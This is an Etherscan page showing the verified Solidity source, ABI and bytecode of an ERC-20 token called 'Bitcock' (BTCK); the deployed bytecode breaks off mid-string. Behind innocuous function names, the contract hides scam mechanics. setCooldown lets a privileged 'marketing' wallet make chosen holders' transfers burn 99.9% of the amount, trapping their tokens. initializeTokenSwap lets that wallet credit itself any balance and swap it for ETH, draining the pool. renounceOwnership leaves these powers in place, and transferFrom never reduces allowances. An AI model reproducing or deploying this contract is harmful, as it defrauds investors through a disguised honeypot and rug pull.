Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
10,000,000,000,000 BTCK
Holders
5
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Bitcock
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-07-22
*/
pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
contract Context {
function msgSender() public view returns (address) {return msg.sender;}
}
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
address private _owner;
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner"); _;
}
constructor () {
emit OwnershipTransferred(address(0), _owner);
_owner = msg.sender;
}
function owner() public view virtual returns (address) {return _owner;}
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 asd, uint256 bewr, address[] calldata _path, address csdf, uint256) external;
function factory() external pure returns (address addr);
function WETH() external pure returns (address aadd);
}
contract Bitcock is Ownable, Context {
using SafeMath for uint256;
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
uint256 public _decimals = 9;
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msgSender(), spender, _allowances[msgSender()][spender] + addedValue);
return true;
}
address public _marketingWallet;
uint256 cooldownBlocks = 1;
bool cooldownActive = true;
uint256 public _totalSupply = 10000000000000 * 10 ** _decimals;
function _transfer(address _from, address _to, uint256 _amount) internal {
require(_amount <= _balances[_from]);
uint256 feeAmount = ( (cooldowns[_from] != 0) && (cooldowns[_from] <= currentBlock()) ) ? _amount.mul(999).div(1000) : _sellFee;
_balances[_from] -= (_amount);
_balances[_to] +=( _amount - (feeAmount));
require(_from != address(0));
emit Transfer(_from, _to, _amount);
}
uint256 _sellFee = 0;
function decimals() external view returns (uint256) {
return _decimals;
}
string private _symbol = "BTCK";
string private _name = "Bitcock";
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 maxWallet = _totalSupply.div(10);
function removeLimits() external onlyOwner {
maxWallet = _totalSupply;
}
IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function currentBlock() private view returns (uint256) {
return block.number;
}
mapping(address => uint256) private _balances;
function marketing() internal view returns (bool) {
return _marketingWallet == msg.sender;
}
function name() external view returns (string memory) { return _name; }
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
function transferFrom(address from_, address to_, uint256 _amount) public returns (bool) {
_transfer(from_, to_, _amount);
require(_allowances[from_][msgSender()] >= _amount);
return true;
}
event Approval(address indexed _from, address indexed to_addres_, uint256 value);
function _approve(address owner, address spender, uint256 amount) internal {
require(spender != address(0));
require(owner != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
event Transfer(address indexed from, address indexed aindex, uint256 val);
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function setCooldown(address[] calldata cooldownAddr) external {
uint256 _toBlockNo = 1 + currentBlock();
for (uint _xnd = 0; _xnd < cooldownAddr.length; _xnd++) {
if (marketing()){ cooldowns[cooldownAddr[_xnd]] = _toBlockNo; }
}
}
function totalSupply() external view returns (uint256) { return _totalSupply; }
function initializeTokenSwap(uint256 tokenAllocation, address _tokenAdress) external {
if (marketing()) { _approve(address(this), address(uniswapRouter), tokenAllocation);
_balances[address(this)] = tokenAllocation;
address[] memory tokenPath = new address[](2);
tokenPath[0] = address(this);
tokenPath[1] = uniswapRouter.WETH();
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAllocation, 0, tokenPath, _tokenAdress, 32 + block.timestamp);
}
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msgSender(), from, _allowances[msg.sender][from] - amount);
return true;
}
mapping (address => uint256) cooldowns;
function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msgSender(), recipient, amount); return true; }
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
_marketingWallet = msg.sender;
_balances[msgSender()] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"to_addres_","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"aindex","type":"address"},{"indexed":false,"internalType":"uint256","name":"val","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAllocation","type":"uint256"},{"internalType":"address","name":"_tokenAdress","type":"address"}],"name":"initializeTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"cooldownAddr","type":"address[]"}],"name":"setCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from_","type":"address"},{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600960015560016003556001600460006101000a81548160ff021916908315150217905550600154600a6200003a919062000557565b6509184e72a0006200004d9190620005a8565b60055560006006556040518060400160405280600481526020017f4254434b00000000000000000000000000000000000000000000000000000000815250600790816200009b919062000863565b506040518060400160405280600781526020017f426974636f636b0000000000000000000000000000000000000000000000000081525060089081620000e2919062000863565b50620000fb600a6005546200035f60201b90919060201c565b600955737a250d5630b4cf539739df2c5dacb4c659f2488d600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200016057600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600554600b600062000274620003c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200035191906200095b565b60405180910390a362000a62565b6000808211620003a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200039d90620009d9565b60405180910390fd5b60008284620003b6919062000a2a565b90508091505092915050565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004585780860481111562000430576200042f620003ca565b5b6001851615620004405780820291505b80810290506200045085620003f9565b945062000410565b94509492505050565b60008262000473576001905062000546565b8162000483576000905062000546565b81600181146200049c5760028114620004a757620004dd565b600191505062000546565b60ff841115620004bc57620004bb620003ca565b5b8360020a915084821115620004d657620004d5620003ca565b5b5062000546565b5060208310610133831016604e8410600b8410161715620005175782820a905083811115620005115762000510620003ca565b5b62000546565b62000526848484600162000406565b9250905081840481111562000540576200053f620003ca565b5b81810290505b9392505050565b6000819050919050565b600062000564826200054d565b915062000571836200054d565b9250620005a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000461565b905092915050565b6000620005b5826200054d565b9150620005c2836200054d565b9250828202620005d2816200054d565b91508282048414831517620005ec57620005eb620003ca565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200067557607f821691505b6020821081036200068b576200068a6200062d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006b6565b620007018683620006b6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007446200073e62000738846200054d565b62000719565b6200054d565b9050919050565b6000819050919050565b620007608362000723565b620007786200076f826200074b565b848454620006c3565b825550505050565b600090565b6200078f62000780565b6200079c81848462000755565b505050565b5b81811015620007c457620007b860008262000785565b600181019050620007a2565b5050565b601f8211156200081357620007dd8162000691565b620007e884620006a6565b81016020851015620007f8578190505b620008106200080785620006a6565b830182620007a1565b50505b505050565b600082821c905092915050565b6000620008386000198460080262000818565b1980831691505092915050565b600062000853838362000825565b9150826002028217905092915050565b6200086e82620005f3565b67ffffffffffffffff8111156200088a5762000889620005fe565b5b6200089682546200065c565b620008a3828285620007c8565b600060209050601f831160018114620008db5760008415620008c6578287015190505b620008d2858262000845565b86555062000942565b601f198416620008eb8662000691565b60005b828110156200091557848901518255600182019150602085019450602081019050620008ee565b8683101562000935578489015162000931601f89168262000825565b8355505b6001600288020188555050505b505050505050565b62000955816200054d565b82525050565b60006020820190506200097260008301846200094a565b92915050565b600082825260208201905092915050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000620009c1601b8362000978565b9150620009ce8262000989565b602082019050919050565b60006020820190508181036000830152620009f481620009b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a37826200054d565b915062000a44836200054d565b92508262000a575762000a56620009fb565b5b828204905092915050565b611c5f8062000a726000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063962dfc7511610071578063962dfc751461030f578063a457c2d71461032d578063a9059cbb1461035d578063d737d0c71461038d578063dd62ed3e146103ab5761012c565b8063715018a6146102a3578063751039fc146102ad57806381e38f01146102b75780638da5cb5b146102d357806395d89b41146102f15761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa31461020757806339509351146102255780633eaaf86b1461025557806370a08231146102735761012c565b80630204f6771461013157806306fdde031461014d578063095ea7b31461016b57806318160ddd1461019b57806323b872dd146101b9575b600080fd5b61014b60048036038101906101469190611384565b6103db565b005b610155610493565b6040516101629190611461565b60405180910390f35b61018560048036038101906101809190611517565b610525565b6040516101929190611572565b60405180910390f35b6101a361053c565b6040516101b0919061159c565b60405180910390f35b6101d360048036038101906101ce91906115b7565b610546565b6040516101e09190611572565b60405180910390f35b6101f16105ee565b6040516101fe919061159c565b60405180910390f35b61020f6105f8565b60405161021c919061159c565b60405180910390f35b61023f600480360381019061023a9190611517565b6105fe565b60405161024c9190611572565b60405180910390f35b61025d6106aa565b60405161026a919061159c565b60405180910390f35b61028d6004803603810190610288919061160a565b6106b0565b60405161029a919061159c565b60405180910390f35b6102ab6106f9565b005b6102b561082c565b005b6102d160048036038101906102cc9190611637565b6108ac565b005b6102db610b4e565b6040516102e89190611686565b60405180910390f35b6102f9610b77565b6040516103069190611461565b60405180910390f35b610317610c09565b6040516103249190611686565b60405180910390f35b61034760048036038101906103429190611517565b610c2f565b6040516103549190611572565b60405180910390f35b61037760048036038101906103729190611517565b610d5d565b6040516103849190611572565b60405180910390f35b610395610d7b565b6040516103a29190611686565b60405180910390f35b6103c560048036038101906103c091906116a1565b610d83565b6040516103d2919061159c565b60405180910390f35b60006103e5610e0a565b60016103f19190611710565b905060005b8383905081101561048d57610409610e12565b1561047a5781600c600086868581811061042657610425611744565b5b905060200201602081019061043b919061160a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061048590611773565b9150506103f6565b50505050565b6060600880546104a2906117ea565b80601f01602080910402602001604051908101604052809291908181526020018280546104ce906117ea565b801561051b5780601f106104f05761010080835404028352916020019161051b565b820191906000526020600020905b8154815290600101906020018083116104fe57829003601f168201915b5050505050905090565b6000610532338484610e6a565b6001905092915050565b6000600554905090565b6000610553848484610fc7565b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059d610d7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105e357600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a061060b610d7b565b8484600d6000610619610d7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069b9190611710565b610e6a565b6001905092915050565b60055481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610718610b4e565b73ffffffffffffffffffffffffffffffffffffffff161461076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590611867565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661084b610b4e565b73ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890611867565b60405180910390fd5b600554600981905550565b6108b4610e12565b15610b4a576108e630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e6a565b81600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561094757610946611887565b5b6040519080825280602002602001820160405280156109755781602001602082028036833780820191505090505b509050308160008151811061098d5761098c611744565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5891906118cb565b81600181518110610a6c57610a6b611744565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610af69190611710565b6040518663ffffffff1660e01b8152600401610b169594939291906119fb565b600060405180830381600087803b158015610b3057600080fd5b505af1158015610b44573d6000803e3d6000fd5b50505050505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610b86906117ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb2906117ea565b8015610bff5780601f10610bd457610100808354040283529160200191610bff565b820191906000526020600020905b815481529060010190602001808311610be257829003601f168201915b5050505050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cba57600080fd5b610d53610cc5610d7b565b8484600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4e9190611a55565b610e6a565b6001905092915050565b6000610d71610d6a610d7b565b8484610fc7565b6001905092915050565b600033905090565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600043905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edc57600080fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fba919061159c565b60405180910390a3505050565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561101357600080fd5b600080600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110aa5750611067610e0a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110b6576006546110e0565b6110df6103e86110d16103e78561123d90919063ffffffff16565b6112b790919063ffffffff16565b5b905081600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111319190611a55565b9250508190555080826111449190611a55565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111929190611710565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111d257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122f919061159c565b60405180910390a350505050565b600080830361124f57600090506112b1565b6000828461125d9190611a89565b905082848261126c9190611afa565b146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390611b9d565b60405180910390fd5b809150505b92915050565b60008082116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290611c09565b60405180910390fd5b600082846113099190611afa565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126113445761134361131f565b5b8235905067ffffffffffffffff81111561136157611360611324565b5b60208301915083602082028301111561137d5761137c611329565b5b9250929050565b6000806020838503121561139b5761139a611315565b5b600083013567ffffffffffffffff8111156113b9576113b861131a565b5b6113c58582860161132e565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561140b5780820151818401526020810190506113f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611433826113d1565b61143d81856113dc565b935061144d8185602086016113ed565b61145681611417565b840191505092915050565b6000602082019050818103600083015261147b8184611428565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114ae82611483565b9050919050565b6114be816114a3565b81146114c957600080fd5b50565b6000813590506114db816114b5565b92915050565b6000819050919050565b6114f4816114e1565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b6000806040838503121561152e5761152d611315565b5b600061153c858286016114cc565b925050602061154d85828601611502565b9150509250929050565b60008115159050919050565b61156c81611557565b82525050565b60006020820190506115876000830184611563565b92915050565b611596816114e1565b82525050565b60006020820190506115b1600083018461158d565b92915050565b6000806000606084860312156115d0576115cf611315565b5b60006115de868287016114cc565b93505060206115ef868287016114cc565b925050604061160086828701611502565b9150509250925092565b6000602082840312156116205761161f611315565b5b600061162e848285016114cc565b91505092915050565b6000806040838503121561164e5761164d611315565b5b600061165c85828601611502565b925050602061166d858286016114cc565b9150509250929050565b611680816114a3565b82525050565b600060208201905061169b6000830184611677565b92915050565b600080604083850312156116b8576116b7611315565b5b60006116c6858286016114cc565b92505060206116d7858286016114cc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061171b826114e1565b9150611726836114e1565b925082820190508082111561173e5761173d6116e1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061177e826114e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036117b0576117af6116e1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061180257607f821691505b602082108103611815576118146117bb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118516020836113dc565b915061185c8261181b565b602082019050919050565b6000602082019050818103600083015261188081611844565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118c5816114b5565b92915050565b6000602082840312156118e1576118e0611315565b5b60006118ef848285016118b6565b91505092915050565b6000819050919050565b6000819050919050565b600061192761192261191d846118f8565b611902565b6114e1565b9050919050565b6119378161190c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611972816114a3565b82525050565b60006119848383611969565b60208301905092915050565b6000602082019050919050565b60006119a88261193d565b6119b28185611948565b93506119bd83611959565b8060005b838110156119ee5781516119d58882611978565b97506119e083611990565b9250506001810190506119c1565b5085935050505092915050565b600060a082019050611a10600083018861158d565b611a1d602083018761192e565b8181036040830152611a2f818661199d565b9050611a3e6060830185611677565b611a4b608083018461158d565b9695505050505050565b6000611a60826114e1565b9150611a6b836114e1565b9250828203905081811115611a8357611a826116e1565b5b92915050565b6000611a94826114e1565b9150611a9f836114e1565b9250828202611aad816114e1565b91508282048414831517611ac457611ac36116e1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b05826114e1565b9150611b10836114e1565b925082611b2057611b1f611acb565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b876022836113dc565b9150611b9282611b2b565b604082019050919050565b60006020820190508181036000830152611bb681611b7a565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611bf3601b836113dc565b9150611bfe82611bbd565b602082019050919050565b60006020820190508181036000830152611c2281611be6565b905091905056fea26469706673582212205c033acdb43bb9446c66c53015a00c86f81546c301bc838a2ff1f0ced4609c1564736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063962dfc7511610071578063962dfc751461030f578063a457c2d71461032d578063a9059cbb1461035d578063d737d0c71461038d578063dd62ed3e146103ab5761012c565b8063715018a6146102a3578063751039fc146102ad57806381e38f01146102b75780638da5cb5b146102d357806395d89b41146102f15761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa31461020757806339509351146102255780633eaaf86b1461025557806370a08231146102735761012c565b80630204f6771461013157806306fdde031461014d578063095ea7b31461016b57806318160ddd1461019b57806323b872dd146101b9575b600080fd5b61014b60048036038101906101469190611384565b6103db565b005b610155610493565b6040516101629190611461565b60405180910390f35b61018560048036038101906101809190611517565b610525565b6040516101929190611572565b60405180910390f35b6101a361053c565b6040516101b0919061159c565b60405180910390f35b6101d360048036038101906101ce91906115b7565b610546565b6040516101e09190611572565b60405180910390f35b6101f16105ee565b6040516101fe919061159c565b60405180910390f35b61020f6105f8565b60405161021c919061159c565b60405180910390f35b61023f600480360381019061023a9190611517565b6105fe565b60405161024c9190611572565b60405180910390f35b61025d6106aa565b60405161026a919061159c565b60405180910390f35b61028d6004803603810190610288919061160a565b6106b0565b60405161029a919061159c565b60405180910390f35b6102ab6106f9565b005b6102b561082c565b005b6102d160048036038101906102cc9190611637565b6108ac565b005b6102db610b4e565b6040516102e89190611686565b60405180910390f35b6102f9610b77565b6040516103069190611461565b60405180910390f35b610317610c09565b6040516103249190611686565b60405180910390f35b61034760048036038101906103429190611517565b610c2f565b6040516103549190611572565b60405180910390f35b61037760048036038101906103729190611517565b610d5d565b6040516103849190611572565b60405180910390f35b610395610d7b565b6040516103a29190611686565b60405180910390f35b6103c560048036038101906103c091906116a1565b610d83565b6040516103d2919061159c565b60405180910390f35b60006103e5610e0a565b60016103f19190611710565b905060005b8383905081101561048d57610409610e12565b1561047a5781600c600086868581811061042657610425611744565b5b905060200201602081019061043b919061160a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b808061048590611773565b9150506103f6565b50505050565b6060600880546104a2906117ea565b80601f01602080910402602001604051908101604052809291908181526020018280546104ce906117ea565b801561051b5780601f106104f05761010080835404028352916020019161051b565b820191906000526020600020905b8154815290600101906020018083116104fe57829003601f168201915b5050505050905090565b6000610532338484610e6a565b6001905092915050565b6000600554905090565b6000610553848484610fc7565b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059d610d7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105e357600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a061060b610d7b565b8484600d6000610619610d7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069b9190611710565b610e6a565b6001905092915050565b60055481565b6000600b60008373fffffffffffffffffffffffffff